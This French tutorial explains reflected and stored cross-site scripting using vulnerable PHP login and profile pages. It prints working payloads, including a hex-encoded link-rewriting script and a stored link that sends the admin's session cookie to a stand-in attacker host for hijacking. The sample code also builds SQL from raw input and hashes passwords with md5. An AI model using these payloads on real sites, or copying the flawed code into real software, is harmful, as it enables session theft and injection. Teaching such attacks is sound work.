Dans l'article précédent de cette série, nous avons expliqué comment empêcher les attaques par injection SQL. Dans cet article, nous verrons un autre type d'attaque appelée attaque XXS.
XSS signifie Cross Site Scripting.
XSS est très similaire à SQL-Injection. Dans SQL-Injection, nous avons exploité la vulnérabilité en injectant des requêtes SQL en tant qu'entrées utilisateur. Dans XSS, nous injectons du code (essentiellement des scripts côté client) sur le serveur distant.
Types de scripts intersites
Les attaques XSS sont généralement classées en 2 types :
- Non persistant
- Persistant
1. Attaque XSS non persistante
En cas d'attaque non persistante, un utilisateur doit visiter le lien spécialement conçu par l'attaquant. Lorsque l'utilisateur visite le lien, le code créé sera exécuté par le navigateur de l'utilisateur. Comprenons mieux cette attaque avec un exemple.
Exemple de XSS non persistant
index.php :
<?php $name = $_GET['name']; echo "Welcome $name<br>"; echo "<a href="http://xssattackexamples.com/">Click to Download</a>"; ?>
Exemple 1 :
L'attaquant créera alors une URL comme suit et l'enverra à la victime :
index.php?name=guest<script>alert('attacked')</script> Lorsque la victime charge l'URL ci-dessus dans le navigateur, elle verra une boîte d'alerte qui dit "attaqué". Même si cet exemple ne cause aucun dommage, mis à part la fenêtre contextuelle « attaqué » ennuyeuse, vous pouvez voir comment un attaquant peut utiliser cette méthode pour faire plusieurs choses dommageables.
Exemple 2 :
Par exemple, l'attaquant peut désormais tenter de modifier l'« URL cible » du lien « Cliquer pour télécharger ». Au lieu que le lien redirige vers le site Web "xssattackexamples.com", il peut le rediriger vers "not-real-xssattackexamples.com" en créant l'URL comme indiqué ci-dessous :
index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script> Dans ce qui précède, nous avons appelé la fonction à exécuter sur "window.onload". Parce que le site Web (c'est-à-dire index.php) fait d'abord écho au nom donné, puis seulement il dessine la balise . Donc, si nous écrivons directement comme celui illustré ci-dessous, cela ne fonctionnera pas, car ces instructions seront exécutées avant que la balise ne soit renvoyée en écho
index.php?name=<script>var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com"</script> Normalement, un attaquant a tendance à ne pas créer l'URL qu'un humain peut lire directement. Il encodera donc les caractères ASCII en hexadécimal comme suit.
index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e
qui est identique à :
index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script> Maintenant, la victime peut ne pas savoir de quoi il s'agit, car directement, il ne peut pas comprendre que l'URL est fabriquée et il y a plus de chances qu'il puisse visiter l'URL.
2. Attaque XSS persistante
En cas d'attaque persistante, le code injecté par l'attaquant sera stocké dans un périphérique de stockage secondaire (principalement sur une base de données). Les dégâts causés par l'attaque persistante sont supérieurs à ceux de l'attaque non persistante. Ici, nous verrons comment détourner la session d'un autre utilisateur en effectuant XSS.
Séance
Le protocole HTTP est un protocole sans état, ce qui signifie qu'il ne conservera aucun état en ce qui concerne la demande et la réponse. Toutes les requêtes et réponses sont indépendantes les unes des autres. Mais la plupart des applications Web n'en ont pas besoin. Une fois que l'utilisateur s'est authentifié, le serveur Web ne doit pas demander le nom d'utilisateur/mot de passe pour la prochaine requête de l'utilisateur. Pour ce faire, ils doivent maintenir une sorte d'état entre le navigateur Web et le serveur Web, ce qui se fait via les "Sessions".
Lorsque l'utilisateur se connecte pour la première fois, un identifiant de session sera créé par le serveur Web et sera envoyé au navigateur Web en tant que « cookie ». Toutes les requêtes ultérieures adressées au serveur Web seront basées sur "l'identifiant de session" dans le cookie.
Exemples d'attaque XSS persistante
Cet exemple d'application Web que nous avons donné ci-dessous qui démontre que l'attaque XSS persistante fait ce qui suit :
- Il existe deux types d'utilisateurs :les utilisateurs "Admin" et "Normal".
- Lorsque "l'administrateur" se connecte, il peut voir la liste des noms d'utilisateur. Lorsque les utilisateurs "normaux" se connectent, ils ne peuvent mettre à jour que leur nom d'affichage.
login.php :
<?php
$Host= '192.168.1.8';
$Dbname= 'app';
$User= 'yyy';
$Password= 'xxx';
$Schema = 'test';
$Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";
/* Connect with database asking for a new connection*/
$Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);
/* Error checking the connection string */
if (!$Connect) {
echo "Database Connection Failure";
exit;
}
$query="SELECT user_name,password from $Schema.members where user_name='".$_POST['user_name']."';";
$result=pg_query($Connect,$query);
$row=pg_fetch_array($result,NULL,PGSQL_ASSOC);
$user_pass = md5($_POST['pass_word']);
$user_name = $row['user_name'];
if(strcmp($user_pass,$row['password'])!=0) {
echo "Login failed";
}
else {
# Start the session
session_start();
$_SESSION['USER_NAME'] = $user_name;
echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>";
}
?> home.php :
<?php
session_start();
if(!$_SESSION['USER_NAME']) {
echo "Need to login";
}
else {
$Host= '192.168.1.8';
$Dbname= 'app';
$User= 'yyy';
$Password= 'xxx';
$Schema = 'test';
$Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";
$Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);
if($_SERVER['REQUEST_METHOD'] == "POST") {
$query="update $Schema.members set display_name='".$_POST['disp_name']."' where user_name='".$_SESSION['USER_NAME']."';";
pg_query($Connect,$query);
echo "Update Success";
}
else {
if(strcmp($_SESSION['USER_NAME'],'admin')==0) {
echo "Welcome admin<br><hr>";
echo "List of user's are<br>";
$query = "select display_name from $Schema.members where user_name!='admin'";
$res = pg_query($Connect,$query);
while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC)) {
echo "$row[display_name]<br>";
}
}
else {
echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">";
echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">";
echo "<input type=\"submit\" value=\"Update\">";
}
}
}
?> Maintenant, l'attaquant se connecte en tant qu'utilisateur normal, et il entrera ce qui suit dans la zone de texte comme nom d'affichage :
<a href=# onclick=\"document.location=\'http://not-real-xssattackexamples.com/xss.php?c=\'+escape\(document.cookie\)\;\">My Name</a>
Les informations ci-dessus saisies par l'attaquant seront stockées dans la base de données (persistantes).
Désormais, lorsque l'administrateur se connectera au système, il verra un lien nommé "Mon nom" avec d'autres noms d'utilisateur. Lorsque l'administrateur clique sur le lien, il enverra le cookie contenant l'ID de session au site de l'attaquant. Désormais, l'attaquant peut publier une demande en utilisant cet ID de session sur le serveur Web, et il peut agir comme « administrateur » jusqu'à ce que la session soit expirée. Les informations sur les cookies ressembleront à ce qui suit :
xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3
Une fois que le pirate connaît le PHPSESSID, il peut utiliser cette session pour obtenir le privilège d'administrateur jusqu'à l'expiration de PHPSESSID.
Pour mieux comprendre cela, nous pouvons utiliser un addon firefox appelé "Tamper Data", qui peut être utilisé pour ajouter un nouvel en-tête HTTP appelé "Cookies" et définir la valeur sur "PHPSESSID=vmcsjsgear6gsogpu7o2imr9f3".
Nous verrons comment utiliser les "données de sabotage" dans un futur article de cette série.